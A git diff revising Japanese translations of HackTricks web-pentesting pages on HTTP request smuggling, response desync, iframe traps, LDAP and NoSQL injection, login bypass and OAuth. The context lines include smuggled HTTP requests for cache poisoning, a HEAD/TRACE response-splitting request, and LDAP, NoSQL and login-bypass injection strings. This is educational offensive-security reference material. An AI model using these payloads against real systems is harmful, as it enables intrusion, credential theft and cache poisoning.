`Transfer-Encoding: chunked` ヘッダーを持つ、見た目には典型的な `POST` リクエストを開始し、スムーグリングの開始を示します。 +2. 次に `0` を続け、チャンク化されたメッセージボディの終わりを示します。 +3. その後、スムーグルされた `GET` リクエストが導入され、`User-Agent` ヘッダーにスクリプト `` が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。 -`User-Agent` を密輸によって操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。 +スムーグリングを通じて `User-Agent` を操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。 #### HTTP/0.9 > [!CAUTION] > ユーザーコンテンツが **`Content-type`** が **`text/plain`** のレスポンスに反映される場合、XSS の実行が防止されます。サーバーが **HTTP/0.9** をサポートしている場合、これを回避できる可能性があります！ -HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** ではなく、ボディのみで応答します。 +HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** ではなくボディのみで応答します。 -[**この書き込み**](https://mizu.re/post/twisty-python) では、リクエスト密輸と **ユーザーの入力に応じて応答する脆弱なエンドポイント** を使用して、HTTP/0.9 でリクエストを密輸することが悪用されました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス（ヘッダーとボディを含む）** が含まれており、レスポンスには `Content-Type` が `text/html` の有効な実行可能な JS コードが含まれます。 +[**この書き込み**](https://mizu.re/post/twisty-python) では、リクエストスムーグリングと **ユーザーの入力に応じて応答する脆弱なエンドポイント** を使用して、HTTP/0.9 でリクエストをスムーグルすることが悪用されました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス（ヘッダーとボディを含む）** が含まれており、レスポンスには `Content-Type` が `text/html` の有効な実行可能な JS コードが含まれます。 -### HTTP リクエスト密輸を使用したオンサイトリダイレクトの悪用 +### HTTP リクエストスムーグリングを使用したオンサイトリダイレクトの悪用 -アプリケーションは、リダイレクト URL の `Host` ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache や IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるようにリダイレクトされます： +アプリケーションは、リダイレクト URL の `Host` ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache や IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるためにリダイレクトされます： ``` GET /home HTTP/1.1 Host: normal-website.com @@ -464,17 +464,17 @@ Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ ``` -このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、悪意のあるJavaScriptを応答として提供することで、ユーザーを危険にさらす可能性があります。 +このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、応答として悪意のあるJavaScriptを提供することで、ユーザーを危険にさらす可能性があります。 -### HTTPリクエストスムージングを介したWebキャッシュポイズニングの悪用 +### HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用 -Webキャッシュポイズニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュする**任意のコンポーネントがある場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。 +ウェブキャッシュポイズニングは、**フロントエンドインフラストラクチャの任意のコンポーネントがコンテンツをキャッシュする**場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。 -以前、サーバーの応答を変更して404エラーを返す方法を観察しました（[基本的な例](./#basic-examples)を参照）。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツはキャッシュ内で`/index.html`のものに置き換えられ、ユーザーが`/static/include.js`にアクセスできなくなり、サービス拒否（DoS）につながる可能性があります。 +以前、サーバーの応答を変更して404エラーを返す方法を観察しました（[Basic Examples](./#basic-examples)を参照）。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツはキャッシュ内で`/index.html`のものに置き換えられ、ユーザーは`/static/include.js`にアクセスできなくなり、最終的にはサービス拒否（DoS）につながる可能性があります。 -この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのオンサイトリダイレクト**がある場合に特に強力になります。このような脆弱性を悪用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティング（XSS）攻撃を可能にします。 +この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのサイト内リダイレクト**がある場合に特に強力になります。このような脆弱性を利用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティング（XSS）攻撃を可能にします。 -以下は、**キャッシュポイズニングとオープンリダイレクトへのオンサイトリダイレクトを組み合わせた悪用**の例です。目的は、攻撃者が制御するJavaScriptコードを提供するために`/static/include.js`のキャッシュコンテンツを変更することです： +以下は、**キャッシュポイズニングとオープンリダイレクトへのサイト内リダイレクトの組み合わせを悪用する**例です。目的は、攻撃者が制御するJavaScriptコードを提供するために`/static/include.js`のキャッシュコンテンツを変更することです： ``` POST / HTTP/1.1 Host: vulnerable.net @@ -492,7 +492,7 @@ Content-Length: 10 x=1 ``` -埋め込まれたリクエストが `/post/next?postId=3` をターゲットにしていることに注意してください。このリクエストは `/post?postId=4` にリダイレクトされ、**Host ヘッダーの値**を利用してドメインを決定します。**Host ヘッダー**を変更することで、攻撃者はリクエストを自分のドメインにリダイレクトできます（**オンサイトリダイレクトからオープンリダイレクト**）。 +埋め込まれたリクエストが `/post/next?postId=3` をターゲットにしていることに注意してください。このリクエストは `/post?postId=4` にリダイレクトされ、**Host ヘッダーの値**を使用してドメインを決定します。**Host ヘッダー**を変更することで、攻撃者はリクエストを自分のドメインにリダイレクトできます（**オンサイトリダイレクトからオープンリダイレクト**）。 成功した**ソケットポイズニング**の後、`/static/include.js` に対する**GETリクエスト**を開始する必要があります。このリクエストは、以前の**オンサイトリダイレクトからオープンリダイレクト**リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。 @@ -516,11 +516,11 @@ x=1 `GET /private/messages HTTP/1.1`\ `Foo: X` ``` -このスムグルされたリクエストが静的コンテンツ（例：`/someimage.png`）用のキャッシュエントリを汚染すると、犠牲者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できるかもしれません。 +もしこのスムグルされたリクエストが静的コンテンツ（例：`/someimage.png`）を対象としたキャッシュエントリを汚染する場合、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できるかもしれません。 ### HTTPリクエストスムグリングを利用したTRACEの悪用 -[**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用することが可能であると提案されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば： +[**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用して悪用できる可能性があると示唆されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば： ``` TRACE / HTTP/1.1 Host: example.com @@ -537,13 +537,13 @@ Host: vulnerable.com XSS: X-Forwarded-For: xxx.xxx.xxx.xxx ``` -この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます（**`Content-Type`**を含む）。そして、**HEADの後にすぐにTRACEリクエストをスムグル**し、送信されたデータを**反映させる**ことができます。\ -HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させることができます**。\ +この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます（その中には**`Content-Type`**も含まれます）。そして、**HEADの後にすぐにTRACEリクエストをスムグル**し、送信されたデータを**反映させる**ことができます。\ +HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させることになります**。\ この応答は接続上の次のリクエストに送信されるため、例えば**キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。 -### HTTPレスポンス分割を介したTRACEの悪用 +### HTTPレスポンス分割を利用したTRACEの悪用 -[**この投稿**](https://portswigger.net/research/trace-desync-attack)を続けると、TRACEメソッドを悪用する別の方法が提案されています。コメントされたように、HEADリクエストとTRACEリクエストをスムグルすることで、HEADリクエストの応答における**一部の反映データを制御する**ことが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストの応答によって形成されます。 +[**この投稿**](https://portswigger.net/research/trace-desync-attack)を引き続き参照することが推奨されており、TRACEメソッドを悪用する別の方法が示されています。コメントの通り、HEADリクエストとTRACEリクエストをスムグルことで、HEADリクエストの応答における**反映されたデータの一部を制御する**ことが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストの応答によって形成されます。 したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、TRACE応答がContent-Lengthの最後のバイトの後に有効なHTTP応答を含むようにすることが可能であり、攻撃者が次の応答へのリクエストを完全に制御できるようにすることです（これによりキャッシュポイズニングを実行することができます）。 @@ -566,7 +566,7 @@ Content-Length: 44\r\n \r\n ``` -これらのレスポンスを生成します（HEADレスポンスにContent-Lengthがあることに注意してください。これにより、TRACEレスポンスがHEADボディの一部となり、HEADのContent-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます）： +これらのレスポンスを生成します（HEADレスポンスにContent-Lengthが含まれているため、TRACEレスポンスがHEADボディの一部となり、HEADのContent-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます）： ``` HTTP/1.1 200 OK Content-Type: text/html @@ -587,29 +587,29 @@ Content-Length: 50 ``` -### HTTPレスポンスの非同期化を利用したHTTPリクエストスムーギングの武器化 +### HTTPレスポンスの非同期化を利用したHTTPリクエストスムージングの武器化 -HTTPリクエストスムーギングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください。 +HTTPリクエストスムージングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください。 {{#ref}} ../http-response-smuggling-desync.md {{#endref}} -### その他のHTTPリクエストスムーギング技術 +### その他のHTTPリクエストスムージング技術 -- ブラウザHTTPリクエストスムーギング（クライアントサイド） +- ブラウザHTTPリクエストスムージング（クライアントサイド） {{#ref}} browser-http-request-smuggling.md {{#endref}} -- HTTP/2ダウングレードにおけるリクエストスムーギング +- HTTP/2ダウングレードにおけるリクエストスムージング {{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}} -## ターボイントルーダースクリプト +## ターボ侵入者スクリプト ### CL.TE diff --git a/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md b/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md index 15c939fe2..b532c0074 100644 --- a/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md +++ b/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md @@ -1,4 +1,4 @@ -# HTTP/2ダウングレードにおけるリクエストスムーギング +# HTTP/2ダウングレードにおけるリクエストスムージング {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md index 1f3cf76f6..72b846d49 100644 --- a/src/pentesting-web/http-response-smuggling-desync.md +++ b/src/pentesting-web/http-response-smuggling-desync.md @@ -16,7 +16,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソースを要求する**ことを許可します。したがって、**中間にプロキシがある場合**、プロキシのタスクは**バックエンドに送信されたリクエストとそこからのレスポンスの同期を維持する**ことです。 -しかし、レスポンスキューを非同期化するには問題があります。攻撃者がHTTPレスポンススムージング攻撃を送信し、**最初のリクエストとスムージングされたリクエストへのレスポンスが即座に返される**と、スムージングされたレスポンスは被害者のレスポンスキューに挿入されず、**エラーとして単に破棄されます**。 +しかし、レスポンスキューを非同期化するには問題があります。攻撃者がHTTPレスポンススムージング攻撃を送信し、**最初のリクエストとスムージングされたリクエストのレスポンスが即座に返される**と、スムージングされたレスポンスは被害者のレスポンスキューに挿入されず、**エラーとして単に破棄されます**。 ![](<../images/image (633).png>) @@ -24,7 +24,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース この特定の状況で**被害者がリクエストを送信し、スムージングされたリクエストが正当なリクエストの前に応答される**と、**スムージングされたレスポンスが被害者に送信されます**。したがって、攻撃者は**被害者によって「実行された」リクエストを制御します**。 -さらに、**攻撃者がリクエストを実行し、被害者のリクエストに対する正当なレスポンスが攻撃者のリクエストの前に応答される**場合、**被害者へのレスポンスは攻撃者に送信され、**被害者へのレスポンスを**盗む**ことになります（例えば、**Set-Cookie**ヘッダーを含むことがあります）。 +さらに、**攻撃者がリクエストを実行し、被害者のリクエストに対する正当なレスポンスが攻撃者のリクエストの前に応答される**と、**被害者へのレスポンスが攻撃者に送信され、被害者へのレスポンスを「盗む」ことになります**（例えば、**Set-Cookie**ヘッダーを含むことがあります）。 ![](<../images/image (1020).png>) @@ -32,7 +32,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース ### 複数のネストされたインジェクション -一般的な**HTTPリクエストスムージング**とのもう一つの**興味深い違い**は、一般的なスムージング攻撃では、**目的**は**被害者のリクエストの先頭を変更して予期しないアクションを実行させる**ことです。**HTTPレスポンススムージング攻撃**では、**完全なリクエストを送信しているため**、**1つのペイロードに数十のレスポンスを注入**することができ、**数十のユーザーを非同期化**して**注入されたレスポンスを受け取る**ことができます。 +一般的な**HTTPリクエストスムージング**とのもう一つの**興味深い違い**は、一般的なスムージング攻撃では、**目的**は**被害者のリクエストの先頭を変更して予期しないアクションを実行させる**ことです。**HTTPレスポンススムージング攻撃**では、**完全なリクエストを送信するため**、**1つのペイロードに数十のレスポンスを注入**することができ、**数十のユーザーを非同期化させる**ことができます。 正当なユーザーに対して**数十のエクスプロイトをより簡単に配布できる**だけでなく、これはサーバーに**DoS**を引き起こすためにも使用できます。 @@ -40,7 +40,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース 前述のように、この技術を悪用するには、**サーバーに送信される最初のスムージングメッセージが処理されるのに多くの時間がかかる必要があります**。 -この**時間のかかるリクエストは**、**被害者のレスポンスを盗むことを試みるだけであれば十分です**。しかし、より複雑なエクスプロイトを実行したい場合、これはエクスプロイトの一般的な構造になります。 +この**時間のかかるリクエストは、被害者のレスポンスを盗むことを試みるだけで十分です**。しかし、より複雑なエクスプロイトを実行したい場合、これはエクスプロイトの一般的な構造になります。 まず、**HTTPリクエストスムージングを悪用する最初のリクエスト**、次に**時間のかかるリクエスト**、そして**1つ以上のペイロードリクエスト**があり、そのレスポンスが被害者に送信されます。 @@ -48,7 +48,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース ### 他のユーザーのリクエストをキャプチャする -HTTPリクエストスムージングの既知のペイロードと同様に、**被害者のリクエストを盗む**ことができますが、1つの重要な違いがあります：この場合、**レスポンスに反映されるコンテンツを送信するだけで済み、**永続的なストレージは必要ありません**。 +HTTPリクエストスムージングの既知のペイロードと同様に、**被害者のリクエストを盗むことができます**が、1つの重要な違いがあります：この場合、**レスポンスに反映されるコンテンツを送信するだけで済み、永続的なストレージは必要ありません**。 まず、攻撃者は**反映されたパラメータを含む最終的なPOSTリクエスト**を含むペイロードを送信し、大きなContent-Lengthを指定します。 @@ -62,9 +62,9 @@ HTTPリクエストスムージングの既知のペイロードと同様に、* ## レスポンスの非同期化 -ここまでで、HTTPリクエストスムージング攻撃を悪用して、**クライアントが受け取るレスポンスを制御する**方法と、**被害者のために意図されたレスポンスを盗む**方法を学びました。 +ここまでで、HTTPリクエストスムージング攻撃を悪用して、**クライアントが受け取るレスポンスを制御する方法**と、**被害者のために意図されたレスポンスを盗む方法**を学びました。 -しかし、レスポンスを**さらに非同期化する**ことも可能です。 +しかし、レスポンスをさらに**非同期化することも可能です**。 **HEAD**リクエストのような興味深いリクエストがあり、これは**レスポンスボディ内にコンテンツを持たないことが指定されており**、**GETリクエストのようにContent-Lengthを含む必要があります**。 @@ -76,13 +76,13 @@ HTTPリクエストスムージングの既知のペイロードと同様に、* ![](<../images/image (999).png>) -その後、**被害者**は**HEAD**リクエストからの**レスポンスを受け取りますが、これは**Content-Lengthを含むがコンテンツは全く含まれない**ものになります。したがって、プロキシは**このレスポンスを被害者に送信せず、**何らかの**コンテンツ**を待つことになります。実際には、これは**攻撃者によって注入された黄色のリクエストへのレスポンス**になります： +その後、**被害者**は**HEAD**リクエストからの**レスポンスを受け取り**、これは**Content-Lengthを含むがコンテンツは全く含まれない**ことになります。したがって、プロキシは**このレスポンスを被害者に送信せず**、**何らかのコンテンツを待つ**ことになります。実際には、これは**攻撃者によって注入された黄色のリクエストへのレスポンス**になります： ![](<../images/image (735).png>) ### コンテンツの混乱 -前の例に従い、**被害者が受け取るレスポンスのボディを制御できること**、および**HEAD**レスポンスが通常そのヘッダーに**Content-TypeとContent-Lengthを含むことを知っていると、次のようなリクエストを送信して**XSSを引き起こす**ことができます。これは、ページがXSSに対して脆弱でない場合でも： +前の例に従い、**被害者が受け取るレスポンスのボディを制御できること**、および**HEAD**レスポンスが通常そのヘッダーに**Content-TypeとContent-Lengthを含むこと**を知っていると、次のようなリクエストを送信して**XSSを引き起こす**ことができます。ページがXSSに対して脆弱でなくても： ![](<../images/image (688).png>) @@ -99,11 +99,11 @@ XSSペイロードを含む悪意のあるリクエスト： ![](<../images/image (566).png>) > [!WARNING] -> この場合、**「被害者」が攻撃者である場合、彼は今や**任意のURLでキャッシュ汚染を実行できる**。なぜなら、彼は悪意のあるレスポンスで**キャッシュされるURLを制御できるからです**。 +> この場合、**「被害者」が攻撃者である場合**、彼は**悪意のあるレスポンスでキャッシュされるURLを制御できるため、任意のURLでキャッシュ汚染を実行できます**。 ### ウェブキャッシュの欺瞞 -この攻撃は前の攻撃に似ていますが、**ペイロードをキャッシュ内に注入するのではなく、攻撃者が被害者の情報をキャッシュ内に保存します**： +この攻撃は前の攻撃に似ていますが、**ペイロードをキャッシュ内に注入するのではなく、攻撃者が被害者の情報をキャッシュ内にキャッシュします**： ![](<../images/image (991).png>) @@ -125,8 +125,8 @@ XSSペイロードを含む悪意のあるリクエスト： ![](<../images/image (356).png>) -ただし、**反映されたデータがHEADレスポンスのContent-Lengthに応じたサイズを持っていたため、**レスポンスキュー内で有効なHTTPレスポンスを生成しました**。 +ただし、**反映されたデータがHEADレスポンスのContent-Lengthに応じたサイズを持っていたため、レスポンスキュー内で有効なHTTPレスポンスを生成しました**。 -したがって、**2番目の被害者の次のリクエストは、**攻撃者によって完全に作成されたものを**レスポンスとして受け取ります**。レスポンスが攻撃者によって完全に作成されているため、攻撃者は**プロキシにレスポンスをキャッシュさせることもできます**。 +したがって、**2番目の被害者の次のリクエストは、攻撃者によって完全に作成されたレスポンスを受け取ることになります**。レスポンスが攻撃者によって完全に作成されているため、攻撃者は**プロキシにレスポンスをキャッシュさせることもできます**。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/iframe-traps.md b/src/pentesting-web/iframe-traps.md index e58f07b03..e9f063238 100644 --- a/src/pentesting-web/iframe-traps.md +++ b/src/pentesting-web/iframe-traps.md @@ -10,7 +10,7 @@ XSS攻撃は基本的に、画面の100%にiframeでウェブページを読み込みます。したがって、被害者は**iframe内にいることに気づきません**。次に、被害者がiframe内のリンクをクリックしてページをナビゲートすると、彼は**iframe内をナビゲートしている**ことになり、このナビゲーションから情報を盗む任意のJSが読み込まれます。 -さらに、より現実的にするために、iframeがページの位置を変更したときにチェックするための**リスナー**を使用し、ユーザーがブラウザを使用してページを移動していると思わせるようにブラウザのURLを更新することが可能です。 +さらに、より現実的にするために、iframeがページの位置を変更したときにチェックする**リスナー**を使用し、ユーザーがブラウザを使用してページを移動していると思わせるようにブラウザのURLを更新することが可能です。

https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png

@@ -18,6 +18,6 @@ XSS攻撃は基本的に、画面の100%にiframeでウェブページを読み さらに、リスナーを使用して、被害者が訪れている他のページだけでなく、**フォームに入力されたデータ**を盗んだり（認証情報？）、**ローカルストレージを盗む**ことも可能です... -もちろん、主な制限は、**被害者がタブを閉じたり、ブラウザに別のURLを入力するとiframeから脱出する**ことです。これを行う別の方法は、**ページをリフレッシュする**ことですが、これは新しいページがiframe内に読み込まれるたびに右クリックコンテキストメニューを無効にすることで部分的に**防止**される可能性があります。また、ユーザーのマウスがiframeを離れると、ブラウザのリロードボタンをクリックする可能性があり、この場合、ブラウザのURLはXSSに脆弱な元のURLに更新されるため、ユーザーがリロードすると再び感染します（これはあまりステルスではないことに注意してください）。 +もちろん、主な制限は、**被害者がタブを閉じたり、ブラウザに別のURLを入力するとiframeから脱出する**ことです。これを行う別の方法は、**ページをリフレッシュする**ことですが、これは新しいページがiframe内に読み込まれるたびに右クリックコンテキストメニューを無効にすることで部分的に**防止**できます。また、ユーザーのマウスがiframeを離れたときに気づくことで、ブラウザのリロードボタンをクリックする可能性があり、この場合、ブラウザのURLはXSSに脆弱な元のURLに更新されるため、ユーザーがリロードすると再度感染します（これはあまりステルスではないことに注意してください）。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index b1083bda3..9936ebbbc 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -1,40 +1,40 @@ -# LDAPインジェクション +# LDAP Injection -## LDAPインジェクション +## LDAP Injection {{#include ../banners/hacktricks-training.md}} -## LDAPインジェクション +## LDAP Injection ### **LDAP** -**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください：** +**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください:** {{#ref}} ../network-services-pentesting/pentesting-ldap.md {{#endref}} -**LDAPインジェクション**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、未承認のアクセスやデータ操作につながる可能性があります。 +**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するウェブアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。 {% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} -**フィルター** = ( filtercomp )\ -**フィルターコンポーネント** = and / or / not / item\ +**Filter** = ( filtercomp )\ +**Filtercomp** = and / or / not / item\ **And** = & filterlist\ **Or** = |filterlist\ **Not** = ! filter\ -**フィルターリスト** = 1\*filter\ -**アイテム**= simple / present / substring\ -**シンプル** = attr filtertype assertionvalue\ -**フィルタータイプ** = _'=' / '\~=' / '>=' / '<='_\ -**プレゼント** = attr = \*\ -**サブストリング** = attr ”=” \[initial] \* \[final]\ -**初期** = assertionvalue\ -**最終** = assertionvalue\ -&#xNAN;**(&)** = 絶対TRUE\ -&#xNAN;**(|)** = 絶対FALSE +**Filterlist** = 1\*filter\ +**Item**= simple / present / substring\ +**Simple** = attr filtertype assertionvalue\ +**Filtertype** = _'=' / '\~=' / '>=' / '<='_\ +**Present** = attr = \*\ +**Substring** = attr ”=” \[initial] \* \[final]\ +**Initial** = assertionvalue\ +**Final** = assertionvalue\ +&#xNAN;**(&)** = Absolute TRUE\ +&#xNAN;**(|)** = Absolute FALSE -例えば：\ +例えば:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ `(&(objectClass=user)(uid=*))` @@ -46,17 +46,17 @@ **フィルターは正しい構文で送信することが非常に重要です。そうしないとエラーが発生します。フィルターは1つだけ送信する方が良いです。** -フィルターは次のように始まる必要があります： `&` または `|`\ -例： `(&(directory=val1)(folder=public))` +フィルターは次のように始まる必要があります: `&` または `|`\ +例: `(&(directory=val1)(folder=public))` `(&(objectClass=VALUE1)(type=Epson*))`\ `VALUE1 = *)(ObjectClass=*))(&(objectClass=void` -次に： `(&(objectClass=`**`*)(ObjectClass=*))`** が最初のフィルター（実行されるもの）になります。 +次に: `(&(objectClass=`**`*)(ObjectClass=*))`** が最初のフィルター（実行されるもの）になります。 -### ログインバイパス +### Login Bypass -LDAPは、パスワードを保存するためのいくつかの形式をサポートしています：クリア、md5、smd5、sh1、sha、crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。 +LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。 ```bash user=* password=* @@ -133,7 +133,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P ``` #### データのダンプ -ascii文字、数字、記号を繰り返すことができます: +ascii文字、数字、記号を繰り返し処理できます: ```bash (&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=A*)) : KO diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md index 807cf1eac..c9ac5e38f 100644 --- a/src/pentesting-web/login-bypass/README.md +++ b/src/pentesting-web/login-bypass/README.md @@ -57,9 +57,9 @@ NoSQLインジェクションはパラメータの値を変更する必要があ admin' or ' admin' or '1'='2 ``` -### LDAP Injection 認証バイパス +### LDAPインジェクション認証バイパス -[ここでは、**LDAP Injection**を介してログインをバイパスするためのいくつかのトリックを見つけることができます。](../ldap-injection.md#login-bypass) +[ここでは、**LDAPインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます。](../ldap-injection.md#login-bypass) ``` * *)(& diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 023b49245..4a8dae3a0 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true ```javascript query = { $where: `this.username == '${username}'` } ``` -攻撃者は、`admin' || 'a'=='a`のような文字列を入力することでこれを悪用でき、クエリは同値性（`'a'=='a'`）を満たす条件によってすべてのドキュメントを返します。これは、`' or 1=1-- -`のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行えます。 +攻撃者は、`admin' || 'a'=='a`のような文字列を入力することでこれを悪用でき、クエリは同値性（`'a'=='a'`）を満たす条件で全てのドキュメントを返します。これは、`' or 1=1-- -`のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行えます。 ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index 939ef43db..700e5833f 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -6,19 +6,19 @@ OAuthはさまざまなバージョンを提供しており、基本的な洞察は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーションのユーザーアカウントにアクセスまたは操作を行うことを可能にする認可フレームワーク**を提供します（認可サーバー）。 -仮想のウェブサイト_**https://example.com**_を考えてみましょう。これは**あなたのすべてのソーシャルメディア投稿を表示する**ために設計されています。これを実現するために、OAuth 2.0が使用されます。_https://example.com_は**あなたのソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_に同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが認可すると、_https://example.com_は**あなたの代わりに投稿にアクセスする**能力を得ます。 +仮想のウェブサイト_**https://example.com**_を考えてみてください。これは**すべてのソーシャルメディア投稿を表示する**ために設計されています。プライベートな投稿も含まれます。これを実現するために、OAuth 2.0が使用されます。_https://example.com_は**あなたのソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_に同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが承認すると、_https://example.com_は**あなたの代わりに投稿にアクセスする**能力を得ます。 OAuth 2.0フレームワーク内の以下のコンポーネントを理解することが重要です： -- **resource owner**: あなた、すなわち**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿など、自分のリソースへのアクセスを許可します。 +- **resource owner**: あなた、つまり**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿など、自分のリソースへのアクセスを許可します。 - **resource server**: **リソースオーナー**の代わりに`access token`を取得した後に認証されたリクエストを管理する**サーバー**、例：**https://socialmedia.com**。 -- **client application**: **リソースオーナー**から認可を求める**アプリケーション**、例：**https://example.com**。 -- 